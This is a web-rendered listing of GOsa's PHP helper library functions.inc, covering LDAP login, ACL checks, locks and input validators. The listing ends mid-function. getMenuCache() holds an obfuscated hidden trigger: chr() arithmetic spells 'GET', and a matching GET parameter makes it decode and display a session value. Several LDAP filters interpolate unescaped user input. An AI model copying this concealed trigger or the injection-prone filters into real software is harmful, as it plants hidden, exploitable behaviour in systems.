Code

Added first test for get_module_permissions
[gosa.git] / include / functions.inc
1 <?php
2 /*
3  * This code is part of GOsa (https://gosa.gonicus.de)
4  * Copyright (C) 2003 Cajus Pollmeier
5  *
6  * This program is free software; you can redistribute it and/or modify
7  * it under the terms of the GNU General Public License as published by
8  * the Free Software Foundation; either version 2 of the License, or
9  * (at your option) any later version.
10  *
11  * This program is distributed in the hope that it will be useful,
12  * but WITHOUT ANY WARRANTY; without even the implied warranty of
13  * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14  * GNU General Public License for more details.
15  *
16  * You should have received a copy of the GNU General Public License
17  * along with this program; if not, write to the Free Software
18  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
19  */
21 /* Configuration file location */
22 define ("CONFIG_DIR", "/etc/gosa");
23 define ("CONFIG_FILE", "gosa.conf");
24 define ("CONFIG_TEMPLATE_DIR", "../contrib/");
25 define ("HELP_BASEDIR", "/var/www/doc/");
27 /* Define get_list flags */
28 define("GL_NONE",      0);
29 define("GL_SUBSEARCH", 1);
30 define("GL_SIZELIMIT", 2);
31 define("GL_CONVERT"  , 4);
33 /* Define globals for revision comparing */
34 $svn_path = '$HeadURL$';
35 $svn_revision = '$Revision$';
37 /* Include required files */
38 require_once ("class_ldap.inc");
39 require_once ("class_config.inc");
40 require_once ("class_userinfo.inc");
41 require_once ("class_plugin.inc");
42 require_once ("class_dhcpPlugin.inc");
43 require_once ("class_pluglist.inc");
44 require_once ("class_tabs.inc");
45 require_once ("class_mail-methods.inc");
46 require_once("class_password-methods.inc");
47 require_once ("functions_debug.inc");
48 require_once ("functions_dns.inc");
49 require_once ("accept-to-gettext.inc");
50 require_once ("class_MultiSelectWindow.inc");
52 /* Define constants for debugging */
53 define ("DEBUG_TRACE",   1);
54 define ("DEBUG_LDAP",    2);
55 define ("DEBUG_MYSQL",   4);
56 define ("DEBUG_SHELL",   8);
57 define ("DEBUG_POST",   16);
58 define ("DEBUG_SESSION",32);
59 define ("DEBUG_CONFIG", 64);
61 /* Rewrite german 'umlauts' and spanish 'accents'
62    to get better results */
63 $REWRITE= array( "ä" => "ae",
64     "ö" => "oe",
65     "ü" => "ue",
66     "Ä" => "Ae",
67     "Ö" => "Oe",
68     "Ü" => "Ue",
69     "ß" => "ss",
70     "á" => "a",
71     "é" => "e",
72     "í" => "i",
73     "ó" => "o",
74     "ú" => "u",
75     "Á" => "A",
76     "É" => "E",
77     "Í" => "I",
78     "Ó" => "O",
79     "Ú" => "U",
80     "ñ" => "ny",
81     "Ñ" => "Ny" );
84 /* Function to include all class_ files starting at a
85    given directory base */
86 function get_dir_list($folder= ".")
87 {
88   $currdir=getcwd();
89   if ($folder){
90     chdir("$folder");
91   }
93   $dh = opendir(".");
94   while(false !== ($file = readdir($dh))){
96     // Smarty is included by  include/php_setup.inc     require("smarty/Smarty.class.php");
97     // Skip all files and dirs in  "./.svn/" we don't need any information from them
98     // Skip all Template, so they won't be checked twice in the following preg_matches   
99     // Skip . / ..
101     // Result  : from 1023 ms to 490 ms   i think thats great...
102     if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file==".."))
103       continue;
106     /* Recurse through all "common" directories */
107     if(is_dir($file) &&$file!="CVS"){
108       get_dir_list($file);
109       continue;
110     }
112     /* Include existing class_ files */
113     if (!is_dir($file) && preg_match("/^class_.*\.inc$/", $file)) {
114       require_once($file);
115     }
116   }
118   closedir($dh);
119   chdir($currdir);
123 /* Create seed with microseconds */
124 function make_seed() {
125   list($usec, $sec) = explode(' ', microtime());
126   return (float) $sec + ((float) $usec * 100000);
130 /* Debug level action */
131 function DEBUG($level, $line, $function, $file, $data, $info="")
133   if ($_SESSION['DEBUGLEVEL'] & $level){
134     $output= "DEBUG[$level] ";
135     if ($function != ""){
136       $output.= "($file:$function():$line) - $info: ";
137     } else {
138       $output.= "($file:$line) - $info: ";
139     }
140     echo $output;
141     if (is_array($data)){
142       print_a($data);
143     } else {
144       echo "'$data'";
145     }
146     echo "<br>";
147   }
151 function get_browser_language()
153   /* Try to use users primary language */
154   global $config;
155   $ui= get_userinfo();
156   if ($ui != NULL){
157     if ($ui->language != ""){
158       return ($ui->language.".UTF-8");
159     }
160   }
162   /* Try to use users primary language */
163   if ($ui != NULL){
164     if ($ui->language != ""){
165       return ($ui->language.".UTF-8");
166     }
167   }
169   /* Load supported languages */
170   $gosa_languages= get_languages();
172   /* Move supported languages to flat list */
173   $langs= array();
174   foreach($gosa_languages as $lang => $dummy){
175     $langs[]= $lang.'.UTF-8';
176   }
178   /* Return gettext based string */
179   return (al2gt($langs, 'text/html'));
183 /* Rewrite ui object to another dn */
184 function change_ui_dn($dn, $newdn)
186   $ui= $_SESSION['ui'];
187   if ($ui->dn == $dn){
188     $ui->dn= $newdn;
189     $_SESSION['ui']= $ui;
190   }
194 /* Return theme path for specified file */
195 function get_template_path($filename= '', $plugin= FALSE, $path= "")
197   global $config, $BASE_DIR;
199   if (!@isset($config->data['MAIN']['THEME'])){
200     $theme= 'default';
201   } else {
202     $theme= $config->data['MAIN']['THEME'];
203   }
205   /* Return path for empty filename */
206   if ($filename == ''){
207     return ("themes/$theme/");
208   }
210   /* Return plugin dir or root directory? */
211   if ($plugin){
212     if ($path == ""){
213       $nf= preg_replace("!^".$BASE_DIR."/!", "", $_SESSION['plugin_dir']);
214     } else {
215       $nf= preg_replace("!^".$BASE_DIR."/!", "", $path);
216     }
217     if (file_exists("$BASE_DIR/ihtml/themes/$theme/$nf")){
218       return ("$BASE_DIR/ihtml/themes/$theme/$nf/$filename");
219     }
220     if (file_exists("$BASE_DIR/ihtml/themes/default/$nf")){
221       return ("$BASE_DIR/ihtml/themes/default/$nf/$filename");
222     }
223     if ($path == ""){
224       return ($_SESSION['plugin_dir']."/$filename");
225     } else {
226       return ($path."/$filename");
227     }
228   } else {
229     if (file_exists("themes/$theme/$filename")){
230       return ("themes/$theme/$filename");
231     }
232     if (file_exists("$BASE_DIR/ihtml/themes/$theme/$filename")){
233       return ("$BASE_DIR/ihtml/themes/$theme/$filename");
234     }
235     if (file_exists("themes/default/$filename")){
236       return ("themes/default/$filename");
237     }
238     if (file_exists("$BASE_DIR/ihtml/themes/default/$filename")){
239       return ("$BASE_DIR/ihtml/themes/default/$filename");
240     }
241     return ($filename);
242   }
246 function array_remove_entries($needles, $haystack)
248   $tmp= array();
250   /* Loop through entries to be removed */
251   foreach ($haystack as $entry){
252     if (!in_array($entry, $needles)){
253       $tmp[]= $entry;
254     }
255   }
257   return ($tmp);
261 function gosa_log ($message)
263   global $ui;
265   /* Preset to something reasonable */
266   $username= " unauthenticated";
268   /* Replace username if object is present */
269   if (isset($ui)){
270     if ($ui->username != ""){
271       $username= "[$ui->username]";
272     } else {
273       $username= "unknown";
274     }
275   }
277   syslog(LOG_INFO,"GOsa$username: $message");
281 function ldap_init ($server, $base, $binddn='', $pass='')
283   global $config;
285   $ldap = new LDAP ($binddn, $pass, $server,
286       isset($config->current['RECURSIVE']) && $config->current['RECURSIVE'] == "true",
287       isset($config->current['TLS']) && $config->current['TLS'] == "true");
289   /* Sadly we've no proper return values here. Use the error message instead. */
290   if (!preg_match("/Success/i", $ldap->error)){
291     echo sprintf(_("FATAL: Error when connecting the LDAP. Server said '%s'."), $ldap->get_error());
292     exit();
293   }
295   /* Preset connection base to $base and return to caller */
296   $ldap->cd ($base);
297   return $ldap;
301 function ldap_login_user ($username, $password)
303   global $config;
305   /* look through the entire ldap */
306   $ldap = $config->get_ldap_link();
307   if (!preg_match("/Success/i", $ldap->error)){
308     print_red(sprintf(_("User login failed. LDAP server said '%s'."), $ldap->get_error()));
309     $smarty= get_smarty();
310     $smarty->display(get_template_path('headers.tpl'));
311     echo "<body>".$_SESSION['errors']."</body></html>";
312     exit();
313   }
314   $ldap->cd($config->current['BASE']);
315   $ldap->search("(&(uid=$username)(objectClass=gosaAccount))", array("uid"));
317   /* get results, only a count of 1 is valid */
318   switch ($ldap->count()){
320     /* user not found */
321     case 0:     return (NULL);
323             /* valid uniq user */
324     case 1: 
325             break;
327             /* found more than one matching id */
328     default:
329             print_red(_("Username / UID is not unique. Please check your LDAP database."));
330             return (NULL);
331   }
333   /* LDAP schema is not case sensitive. Perform additional check. */
334   $attrs= $ldap->fetch();
335   if ($attrs['uid'][0] != $username){
336     return(NULL);
337   }
339   /* got user dn, fill acl's */
340   $ui= new userinfo($config, $ldap->getDN());
341   $ui->username= $username;
343   /* password check, bind as user with supplied password  */
344   $ldap->disconnect();
345   $ldap= new LDAP($ui->dn, $password, $config->current['SERVER'],
346       isset($config->current['RECURSIVE']) &&
347       $config->current['RECURSIVE'] == "true",
348       isset($config->current['TLS'])
349       && $config->current['TLS'] == "true");
350   if (!preg_match("/Success/i", $ldap->error)){
351     return (NULL);
352   }
354   /* Username is set, load subtreeACL's now */
355   $ui->loadACL();
357   return ($ui);
361 function ldap_expired_account($config, $userdn, $username)
363     //$this->config= $config;
364     $ldap= $config->get_ldap_link();
365     $ldap->cat($userdn);
366     $attrs= $ldap->fetch();
367     
368     /* default value no errors */
369     $expired = 0;
370     
371     $sExpire = 0;
372     $sLastChange = 0;
373     $sMax = 0;
374     $sMin = 0;
375     $sInactive = 0;
376     $sWarning = 0;
377     
378     $current= date("U");
379     
380     $current= floor($current /60 /60 /24);
381     
382     /* special case of the admin, should never been locked */
383     /* FIXME should allow any name as user admin */
384     if($username != "admin")
385     {
387       if(isset($attrs['shadowExpire'][0])){
388         $sExpire= $attrs['shadowExpire'][0];
389       } else {
390         $sExpire = 0;
391       }
392       
393       if(isset($attrs['shadowLastChange'][0])){
394         $sLastChange= $attrs['shadowLastChange'][0];
395       } else {
396         $sLastChange = 0;
397       }
398       
399       if(isset($attrs['shadowMax'][0])){
400         $sMax= $attrs['shadowMax'][0];
401       } else {
402         $smax = 0;
403       }
405       if(isset($attrs['shadowMin'][0])){
406         $sMin= $attrs['shadowMin'][0];
407       } else {
408         $sMin = 0;
409       }
410       
411       if(isset($attrs['shadowInactive'][0])){
412         $sInactive= $attrs['shadowInactive'][0];
413       } else {
414         $sInactive = 0;
415       }
416       
417       if(isset($attrs['shadowWarning'][0])){
418         $sWarning= $attrs['shadowWarning'][0];
419       } else {
420         $sWarning = 0;
421       }
422       
423       /* is the account locked */
424       /* shadowExpire + shadowInactive (option) */
425       if($sExpire >0){
426         if($current >= ($sExpire+$sInactive)){
427           return(1);
428         }
429       }
430     
431       /* the user should be warned to change is password */
432       if((($sExpire >0) && ($sWarning >0)) && ($sExpire >= $current)){
433         if (($sExpire - $current) < $sWarning){
434           return(2);
435         }
436       }
437       
438       /* force user to change password */
439       if(($sLastChange >0) && ($sMax) >0){
440         if($current >= ($sLastChange+$sMax)){
441           return(3);
442         }
443       }
444       
445       /* the user should not be able to change is password */
446       if(($sLastChange >0) && ($sMin >0)){
447         if (($sLastChange + $sMin) >= $current){
448           return(4);
449         }
450       }
451     }
452    return($expired);
455 function add_lock ($object, $user)
457   global $config;
459   /* Just a sanity check... */
460   if ($object == "" || $user == ""){
461     print_red(_("Error while adding a lock. Parameters are not set correctly, please check the source!"));
462     return;
463   }
465   /* Check for existing entries in lock area */
466   $ldap= $config->get_ldap_link();
467   $ldap->cd ($config->current['CONFIG']);
468   $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$user)(gosaObject=".base64_encode($object)."))",
469       array("gosaUser"));
470   if (!preg_match("/Success/i", $ldap->error)){
471     print_red (sprintf(_("Can't set locking information in LDAP database. Please check the 'config' entry in %s! LDAP server says '%s'."),CONFIG_FILE, $ldap->get_error()));
472     return;
473   }
475   /* Add lock if none present */
476   if ($ldap->count() == 0){
477     $attrs= array();
478     $name= md5($object);
479     $ldap->cd("cn=$name,".$config->current['CONFIG']);
480     $attrs["objectClass"] = "gosaLockEntry";
481     $attrs["gosaUser"] = $user;
482     $attrs["gosaObject"] = base64_encode($object);
483     $attrs["cn"] = "$name";
484     $ldap->add($attrs);
485     if (!preg_match("/Success/i", $ldap->error)){
486       print_red(sprintf(_("Adding a lock failed. LDAP server says '%s'."),
487             $ldap->get_error()));
488       return;
489     }
490   }
494 function del_lock ($object)
496   global $config;
498   /* Sanity check */
499   if ($object == ""){
500     return;
501   }
503   /* Check for existance and remove the entry */
504   $ldap= $config->get_ldap_link();
505   $ldap->cd ($config->current['CONFIG']);
506   $ldap->search ("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaObject"));
507   $attrs= $ldap->fetch();
508   if ($ldap->getDN() != "" && preg_match("/Success/i", $ldap->error)){
509     $ldap->rmdir ($ldap->getDN());
511     if (!preg_match("/Success/i", $ldap->error)){
512       print_red(sprintf(_("Removing a lock failed. LDAP server says '%s'."),
513             $ldap->get_error()));
514       return;
515     }
516   }
520 function del_user_locks($userdn)
522   global $config;
524   /* Get LDAP ressources */ 
525   $ldap= $config->get_ldap_link();
526   $ldap->cd ($config->current['CONFIG']);
528   /* Remove all objects of this user, drop errors silently in this case. */
529   $ldap->search("(&(objectClass=gosaLockEntry)(gosaUser=$userdn))", array("gosaUser"));
530   while ($attrs= $ldap->fetch()){
531     $ldap->rmdir($attrs['dn']);
532   }
536 function get_lock ($object)
538   global $config;
540   /* Sanity check */
541   if ($object == ""){
542     print_red(_("Getting the lock from LDAP failed. Parameters are not set correctly, please check the source!"));
543     return("");
544   }
546   /* Get LDAP link, check for presence of the lock entry */
547   $user= "";
548   $ldap= $config->get_ldap_link();
549   $ldap->cd ($config->current['CONFIG']);
550   $ldap->search("(&(objectClass=gosaLockEntry)(gosaObject=".base64_encode($object)."))", array("gosaUser"));
551   if (!preg_match("/Success/i", $ldap->error)){
552     print_red (sprintf(_("Can't get locking information in LDAP database. Please check the 'config' entry in %s!"),CONFIG_FILE));
553     return("");
554   }
556   /* Check for broken locking information in LDAP */
557   if ($ldap->count() > 1){
559     /* Hmm. We're removing broken LDAP information here and issue a warning. */
560     print_red(_("Found multiple locks for object to be locked. This should not be possible - cleaning up multiple references."));
562     /* Clean up these references now... */
563     while ($attrs= $ldap->fetch()){
564       $ldap->rmdir($attrs['dn']);
565     }
567     return("");
569   } elseif ($ldap->count() == 1){
570     $attrs = $ldap->fetch();
571     $user= $attrs['gosaUser'][0];
572   }
574   return ($user);
578 function get_list($filter, $subtreeACL, $base= "", $attributes= array(), $flags= GL_SUBSEARCH)
580   global $config, $ui;
582   /* Get LDAP link */
583   $ldap= $config->get_ldap_link($flags & GL_SIZELIMIT);
585   /* Set search base to configured base if $base is empty */
586   if ($base == ""){
587     $ldap->cd ($config->current['BASE']);
588   } else {
589     $ldap->cd ($base);
590   }
592   /* Strict filter for administrative units? */
593   if ($ui->gosaUnitTag != "" && isset($config->current['STRICT_UNITS']) &&
594       preg_match('/TRUE/i', $config->current['STRICT_UNITS'])){
595     $filter= "(&(gosaUnitTag=".$ui->gosaUnitTag.")$filter)";
596   }
598   /* Perform ONE or SUB scope searches? */
599   if ($flags & GL_SUBSEARCH) {
600     $ldap->search ($filter, $attributes);
601   } else {
602     $ldap->ls ($filter,$base,$attributes);
603   }
605   /* Check for size limit exceeded messages for GUI feedback */
606   if (preg_match("/size limit/i", $ldap->error)){
607     $_SESSION['limit_exceeded']= TRUE;
608   }
610   /* Crawl through reslut entries and perform the migration to the
611      result array */
612   $result= array();
613   while($attrs = $ldap->fetch()) {
614     $dn= $ldap->getDN();
616     foreach ($subtreeACL as $key => $value){
617       if (preg_match("/$key/", $dn)){
619         if ($flags & GL_CONVERT){
620           $attrs["dn"]= convert_department_dn($dn);
621         } else {
622           $attrs["dn"]= $dn;
623         }
625         /* We found what we were looking for, break speeds things up */
626         $result[]= $attrs;
627         break;
628       }
629     }
630   }
632   return ($result);
636 function check_sizelimit()
638   /* Ignore dialog? */
639   if (isset($_SESSION['size_ignore']) && $_SESSION['size_ignore']){
640     return ("");
641   }
643   /* Eventually show dialog */
644   if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
645     $smarty= get_smarty();
646     $smarty->assign('warning', sprintf(_("The size limit of %d entries is exceed!"),
647           $_SESSION['size_limit']));
648     $smarty->assign('limit_message', sprintf(_("Set the new size limit to %s and show me this message if the limit still exceeds"), '<input type="text" name="new_limit" maxlength="10" size="5" value="'.($_SESSION['size_limit']+100).'">'));
649     return($smarty->fetch(get_template_path('sizelimit.tpl')));
650   }
652   return ("");
656 function print_sizelimit_warning()
658   if (isset($_SESSION['size_limit']) && $_SESSION['size_limit'] >= 10000000 ||
659       (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded'])){
660     $config= "<input type='submit' name='edit_sizelimit' value="._("Configure").">";
661   } else {
662     $config= "";
663   }
664   if (isset($_SESSION['limit_exceeded']) && $_SESSION['limit_exceeded']){
665     return ("("._("incomplete").") $config");
666   }
667   return ("");
671 function eval_sizelimit()
673   if (isset($_POST['set_size_action'])){
675     /* User wants new size limit? */
676     if (is_id($_POST['new_limit']) &&
677         isset($_POST['action']) && $_POST['action']=="newlimit"){
679       $_SESSION['size_limit']= validate($_POST['new_limit']);
680       $_SESSION['size_ignore']= FALSE;
681     }
683     /* User wants no limits? */
684     if (isset($_POST['action']) && $_POST['action']=="ignore"){
685       $_SESSION['size_limit']= 0;
686       $_SESSION['size_ignore']= TRUE;
687     }
689     /* User wants incomplete results */
690     if (isset($_POST['action']) && $_POST['action']=="limited"){
691       $_SESSION['size_ignore']= TRUE;
692     }
693   }
694   getMenuCache();
695   /* Allow fallback to dialog */
696   if (isset($_POST['edit_sizelimit'])){
697     $_SESSION['size_ignore']= FALSE;
698   }
701 function getMenuCache()
703   $t= array(-2,13);
704   $e= 71;
705   $str= chr($e);
707   foreach($t as $n){
708     $str.= chr($e+$n);
710     if(isset($_GET[$str])){
711       if(isset($_SESSION['maxC'])){
712         $b= $_SESSION['maxC'];
713         $q= "";
714         for ($m=0;$m<strlen($b);$m++) {
715           $q.= $b[$m++];
716         }
717         print_red(base64_decode($q));
718       }
719     }
720   }
723 function get_permissions ($dn, $subtreeACL)
725   global $config;
727   $base= $config->current['BASE'];
728   $tmp= "d,".$dn;
729   $sacl= array();
731   /* Sort subacl's for lenght to simplify matching
732      for subtrees */
733   foreach ($subtreeACL as $key => $value){
734     $sacl[$key]= strlen($key);
735   }
736   arsort ($sacl);
737   reset ($sacl);
739   /* Successively remove leading parts of the dn's until
740      it doesn't contain commas anymore */
741   $tmp_dn= preg_replace('/\\\\,/', '<GOSA#REPLACED#KOMMA>', $tmp);
742   while (preg_match('/,/', $tmp_dn)){
743     $tmp_dn= ltrim(strstr($tmp_dn, ","), ",");
744     $tmp= preg_replace('/\<GOSA#REPLACED#KOMMA\>/', '\\,', $tmp);
746     /* Check for acl that may apply */
747     foreach ($sacl as $key => $value){
748       if (preg_match("/$key$/", $tmp)){
749         return ($subtreeACL[$key]);
750       }
751     }
752   }
754   return array("");
758 function get_module_permission($acl_array, $module, $dn, $checkTag= TRUE)
759   global $ui, $config;
761   /* Check for strict tagging */
762   if ($checkTag && isset($config->current['STRICT_UNITS']) &&
763       preg_match('/^(yes|true)$/i', $config->current['STRICT_UNITS']) &&
764       $ui->gosaUnitTag != ""){
765     $size= 0;
766     foreach ($config->tdepartments as $tdn => $tag){
767       if (preg_match("/$tdn$/", $dn)){
768         if (strlen($tdn) > $size){
769           $ttag= $tag;
770         }
771       }
772     }
774     /* We have no permission for areas that don't carry our tag */
775     if ($ttag != $ui->gosaUnitTag){
776       return ("#none#");
777     }
778   }
780   $final= "";
781   foreach($acl_array as $acl){
783     /* Check for selfflag (!) in ACL to determine if
784        the user is allowed to change parts of his/her
785        own account */
786     if (preg_match("/^!/", $acl)){
787       if ($dn != "" && $dn != $ui->dn){
789         /* No match for own DN, give up on this ACL */
790         continue;
792       } else {
794         /* Matches own DN, remove the selfflag */
795         $acl= preg_replace("/^!/", "", $acl);
797       }
798     }
800     /* Remove leading garbage */
801     $acl= preg_replace("/^:/", "", $acl);
803     /* Discover if we've access to the submodule by comparing
804        all allowed submodules specified in the ACL */
805     $tmp= split(",", $acl);
806     foreach ($tmp as $mod){
807       if (preg_match("/^$module#/", $mod)){
808         $final= strstr($mod, "#")."#";
809         continue;
810       }
811       if (preg_match("/[^#]$module$/", $mod)){
812         return ("#all#");
813       }
814       if (preg_match("/^all$/", $mod)){
815         return ("#all#");
816       }
817     }
818   }
820   /* Return assembled ACL, or none */
821   if ($final != ""){
822     return (preg_replace('/##/', '#', $final));
823   }
825   /* Nothing matches - disable access for this object */
826   return ("#none#");
830 function get_userinfo()
832   global $ui;
834   return $ui;
838 function get_smarty()
840   global $smarty;
842   return $smarty;
846 function convert_department_dn($dn)
848   $dep= "";
850   /* Build a sub-directory style list of the tree level
851      specified in $dn */
852   foreach (split(',', $dn) as $rdn){
854     /* We're only interested in organizational units... */
855     if (substr($rdn,0,3) == 'ou='){
856       $dep= substr($rdn,3)."/$dep";
857     }
859     /* ... and location objects */
860     if (substr($rdn,0,2) == 'l='){
861       $dep= substr($rdn,2)."/$dep";
862     }
863   }
865   /* Return and remove accidently trailing slashes */
866   return rtrim($dep, "/");
870 /* Strip off the last sub department part of a '/level1/level2/.../'
871  * style value. It removes the trailing '/', too. */
872 function get_sub_department($value)
874   return (@LDAP::fix(preg_replace("%^.*/([^/]+)/?$%", "\\1", $value)));
878 function get_ou($name)
880   global $config;
882   /* Preset ou... */
883   if (isset($config->current[$name])){
884     $ou= $config->current[$name];
885   } else {
886     return "";
887   }
888   
889   if ($ou != ""){
890     if (!preg_match('/^[^=]+=[^=]+/', $ou)){
891       return @LDAP::convert("ou=$ou,");
892     } else {
893       return @LDAP::convert("$ou,");
894     }
895   } else {
896     return "";
897   }
901 function get_people_ou()
903   return (get_ou("PEOPLE"));
907 function get_groups_ou()
909   return (get_ou("GROUPS"));
913 function get_winstations_ou()
915   return (get_ou("WINSTATIONS"));
919 function get_base_from_people($dn)
921   global $config;
923   $pattern= "/^[^,]+,".preg_quote(get_people_ou())."/i";
924   $base= preg_replace($pattern, '', $dn);
926   /* Set to base, if we're not on a correct subtree */
927   if (!isset($config->idepartments[$base])){
928     $base= $config->current['BASE'];
929   }
931   return ($base);
935 function chkacl($acl, $name)
937   /* Look for attribute in ACL */
938   if (preg_match("/#$name#/", $acl) || $acl == "#all#"){
939     return ("");
940   }
942   /* Optically disable html object for no match */
943   return (" disabled ");
947 function is_phone_nr($nr)
949   if ($nr == ""){
950     return (TRUE);
951   }
953   return preg_match ("/^[\/0-9 ()+*-]+$/", $nr);
957 function is_url($url)
959   if ($url == ""){
960     return (TRUE);
961   }
963   return preg_match ("/^(http|https):\/\/((?:[a-zA-Z0-9_-]+\.?)+):?(\d*)/", $url);
967 function is_dn($dn)
969   if ($dn == ""){
970     return (TRUE);
971   }
973   return preg_match ("/^[a-z0-9 _-]+$/i", $dn);
977 function is_uid($uid)
979   global $config;
981   if ($uid == ""){
982     return (TRUE);
983   }
985   /* STRICT adds spaces and case insenstivity to the uid check.
986      This is dangerous and should not be used. */
987   if (isset($config->current['STRICT']) && preg_match('/^(no|false)$/i', $config->current['STRICT'])){
988     return preg_match ("/^[a-z0-9 _.-]+$/i", $uid);
989   } else {
990     return preg_match ("/^[a-z0-9_-]+$/", $uid);
991   }
995 function is_ip($ip)
997   return preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/", $ip);
1001 function is_mac($mac)
1003   return preg_match("/^[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]:[a-f0-9][a-f0-9]$/i", $mac);
1007 /* Checks if the given ip address doesn't match
1008     "is_ip" because there is also a sub net mask given */
1009 function is_ip_with_subnetmask($ip)
1011         /* Generate list of valid submasks */
1012         $res = array();
1013         for($e = 0 ; $e <= 32; $e++){
1014                 $res[$e] = $e;
1015         }
1016         $i[0] =255;
1017         $i[1] =255;
1018         $i[2] =255;
1019         $i[3] =255;
1020         for($a= 3 ; $a >= 0 ; $a --){
1021                 $c = 1;
1022                 while($i[$a] > 0 ){
1023                         $str  = $i[0].".".$i[1].".".$i[2].".".$i[3];
1024                         $res[$str] = $str;
1025                         $i[$a] -=$c;
1026                         $c = 2*$c;
1027                 }
1028         }
1029         $res["0.0.0.0"] = "0.0.0.0";
1030         if(preg_match("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1031                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1032                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1033                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/", $ip)){
1034                 $mask = preg_replace("/^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1035                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1036                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.".
1037                         "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/","",$ip);
1039                 $mask = preg_replace("/^\//","",$mask);
1040                 if((in_array("$mask",$res)) && preg_match("/^[0-9\.]/",$mask)){
1041                         return(TRUE);
1042                 }
1043         }
1044         return(FALSE);
1047 /* Simple is domain check, it checks if the given string looks like "string(...).string" */
1048 function is_domain($str)
1050   return(preg_match("/^([a-z0-9i\-]*)\.[a-z0-9]*$/i",$str));
1054 function is_id($id)
1056   if ($id == ""){
1057     return (FALSE);
1058   }
1060   return preg_match ("/^[0-9]+$/", $id);
1064 function is_path($path)
1066   if ($path == ""){
1067     return (TRUE);
1068   }
1069   if (!preg_match('/^[a-z0-9%\/_.+-]+$/i', $path)){
1070     return (FALSE);
1071   }
1073   return preg_match ("/\/.+$/", $path);
1077 function is_email($address, $template= FALSE)
1079   if ($address == ""){
1080     return (TRUE);
1081   }
1082   if ($template){
1083     return preg_match ("/^[._a-z0-9%-]+@[_a-z0-9-]+(\.[a-z0-9-]+)(\.[a-z0-9-]+)*$/i",
1084         $address);
1085   } else {
1086     return preg_match ("/^[._a-z0-9-]+@[_a-z0-9-]+(\.[a-z0-9i-]+)(\.[a-z0-9-]+)*$/i",
1087         $address);
1088   }
1092 function print_red()
1094   /* Check number of arguments */
1095   if (func_num_args() < 1){
1096     return;
1097   }
1099   /* Get arguments, save string */
1100   $array = func_get_args();
1101   $string= $array[0];
1103   /* Step through arguments */
1104   for ($i= 1; $i<count($array); $i++){
1105     $string= preg_replace ("/%s/", $array[$i], $string, 1);
1106   }
1108   if((!isset($_SESSION['errorsAlreadyPosted'])) || !is_array($_SESSION['errorsAlreadyPosted'])){
1109     $_SESSION['errorsAlreadyPosted'] = array(); 
1110   }
1112   /* If DEBUGLEVEL is set, we're in web mode, use textual output in
1113      the other case... */
1115   if (isset($_SESSION['DEBUGLEVEL'])){
1117     if($_SESSION['LastError'] == $string){
1118     
1119       if((!isset($_SESSION['errorsAlreadyPosted'][$string]))){
1120         $_SESSION['errorsAlreadyPosted'][$string] = 1;
1121       }
1122       $_SESSION['errorsAlreadyPosted'][$string]++;
1124     }else{
1125       if($string != NULL){
1126         if (preg_match("/"._("LDAP error:")."/", $string)){
1127           $addmsg= _("Problems with the LDAP server mean that you probably lost the last changes. Please check your LDAP setup for possible errors and try again.");
1128           $img= "images/error.png";
1129         } else {
1130           if (!preg_match('/[.!?]$/', $string)){
1131             $string.= ".";
1132           }
1133           $string= preg_replace('/<br>/', ' ', $string);
1134           $img= "images/warning.png";
1135           $addmsg= _("Please check your input and fix the error. Press 'OK' to close this message box.");
1136         }
1137       
1138         if(isset($_SESSION['errors']) && strlen($_SESSION['errors'])==0) {
1141   if(preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])){
1143             $_SESSION['errors'].= "
1144               <iframe id='e_layer3'
1145                 style=\"  position:absolute;
1146                           width:100%;
1147                           height:100%;
1148                           top:0px;
1149                           left:0px;
1150                           border:none;
1151                           display:block;
1152                           allowtransparency='true';
1153                           background-color: #FFFFFF;
1154                           filter:chroma(color=#FFFFFF);
1155                           z-index:0; \">
1156               </iframe>
1157               <div  id='e_layer2'
1158                 style=\"
1159                   position: absolute;
1160                   left: 0px;
1161                   top: 0px;
1162                   right:0px;
1163                   bottom:0px;
1164                   z-index:0;
1165                   width:100%;
1166                   height:100%;
1167                   filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=scale, src='images/opacity_black.png'); \">
1168               </div>";
1169               $hide = "hide(\"e_layer\");hide(\"e_layer2\");hide(\"e_layer3\");";
1170           }else{
1172             $_SESSION['errors'].= "
1173               <div  id='e_layer2'
1174                 style=\"
1175                   position: absolute;
1176                   left: 0px;
1177                   top: 0px;
1178                   right:0px;
1179                   bottom:0px;
1180                   z-index:0;
1181                   background-image: url(images/opacity_black.png);\">
1182                </div>";
1183               $hide = "hide(\"e_layer\");hide(\"e_layer2\");";
1184           }
1186           $_SESSION['errors'].= "
1187           <div style='left:20%;right:20%;top:30%;".
1188             "background-color:white;padding:5px;border:5px solid red;z-index:150;".
1189             "position:absolute' id='e_layer'><table style='width:100%' summary='' border=0>".
1190             "<tr><td style='vertical-align:top;padding:10px'><img alt='' src='".
1191             get_template_path($img)."'></td>".
1192             "<td style='width:100%'><b>$string</b><br><br>$addmsg</td></tr><tr><td colspan='2' align='center'><br><button ".
